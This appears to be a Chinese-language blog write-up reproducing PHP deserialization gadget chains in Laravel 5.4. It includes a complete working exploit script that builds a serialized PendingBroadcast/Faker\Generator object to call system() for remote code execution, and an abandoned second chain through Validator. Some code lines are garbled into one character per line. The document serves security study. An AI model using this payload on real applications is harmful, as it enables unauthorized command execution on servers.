在此之前看过其他师傅的审计文章,看完之后自己跟着复现(虽然都是5.4版本,但是有些地方代码依然不一样,导致部分链子并未完全复现成功,有兴趣的可以自己看文章自己尝试)
第一条链子(成功):_call
找到destruct函数:
跟进一下这几个参数:
首先是events:
发现events是可控的
event同样可控,再跟进一下dispatch函数
很多地方都定义了function dispatch 函数
再来看一下我们的入口点__destruct()函数:有两个思路:第一个是调用_call方法,看看能不能调用方法进行命令执行。第二个方法是再dispatch函数里面去寻找可以命令执行的函数
public function __destruct()
{
$this->events->dispatch($this->event);
}
思路:从__call方法入手寻找链子:
__call方法有很多,这里采用很多师傅都使用的Faker里面的__call方法:
跟进一下具体参数:
这里看见了call_user_func_ayyry函数,联想到我们可以调用内置的system函数进行命令执行,getFormatter()方法里面存在return,可以返回值
那么接下来的一步就是去看这里存在的变量,我们是否可控,如果可控,那就直接一把梭哈。
可以发现:$formatter, $arguments 都是没有被定义过的,都是我们实际传入的,那么整理一下思路:
1.首先调用__destruct方法:
t
h
i
s
−
>
e
v
e
n
t
s
−
>
d
i
s
p
a
t
c
h
(
this->events->dispatch(
this−>events−>dispatch(this->event);
2.调用_call方法:
t
h
i
s
−
>
f
o
r
m
a
t
(
this->format(
this−>format(method, $attributes)
3.调用format方法:
public function format($formatter, $arguments = array())
{
return call_user_func_array($this->getFormatter($formatter), $arguments);
}
4.通过call_user_func_array调用system方法实现RCE
具体参数可控我们下面再说:
这里借用firebasky师傅文章里面的图:
这里有个地方困扰了我一下,看WP的时候没有看懂 这里特意截图出来
EXP:
<?php
namespace Illuminate\Broadcasting
{
class PendingBroadcast
{
protected $events;
protected $event;
function __construct($events, $cmd)
{
$this->events = $events;
$this->event = $cmd;
}
}
}
namespace Faker
{
class Generator
{
protected $formatters;
function __construct($function)
{
$this->formatters = ['dispatch' => $function];
}
}
}
namespace{
$a = new Faker\Generator('system');
$b = new Illuminate\Broadcasting\PendingBroadcast($a,'dir');
echo urlencode(serialize($b));
}
第二条链子(未成功):_call
依然是从_call方法入手,只不过是调用了不同的call方法:vendor\laravel\framework\src\Illuminate\Validation\Validator.php
看见这个_call方法我们需要分析一下:rule的值可控,如果不能进入if,那么这个_call方法对我们来说一无用处。再来看看if里面的callExtension方法对我们是否有用如果没用那么我们进入了if也是白进入
存在call_usr_func_arry,极大可达是我们的利用点,查看一下如何进入if:
判断一个对象是否是某个类的实例
<?php
$obj = new A();
if ($obj instanceof A) {
echo 'A';
}//echo A;
而这里我们的$callback内容很明显是一个字符串,没有办法实例化Closure,因此这个办法行不通。
再去看一下callClassBasedExtension方法是否可行:
protected function callClassBasedExtension($callback, $parameters)
{
list($class, $method) = Str::parseCallback($callback, 'validate');
return call_user_func_array([$this->container->make($class), $method], $parameters);
}
public static function parseCallback($callback, $default = null)
{
return static::contains($callback, '@') ? explode('@', $callback, 2) : [$callback, $default];
}
看了一下,遂放弃。
与原WP不同的地方在于:
原WP调用call_suer_cunf_arry的if是 is_callable,而我这里是instanceof,遂放弃
还有2条链子是dispatch方法,目前没怎么看,后面会进行补充。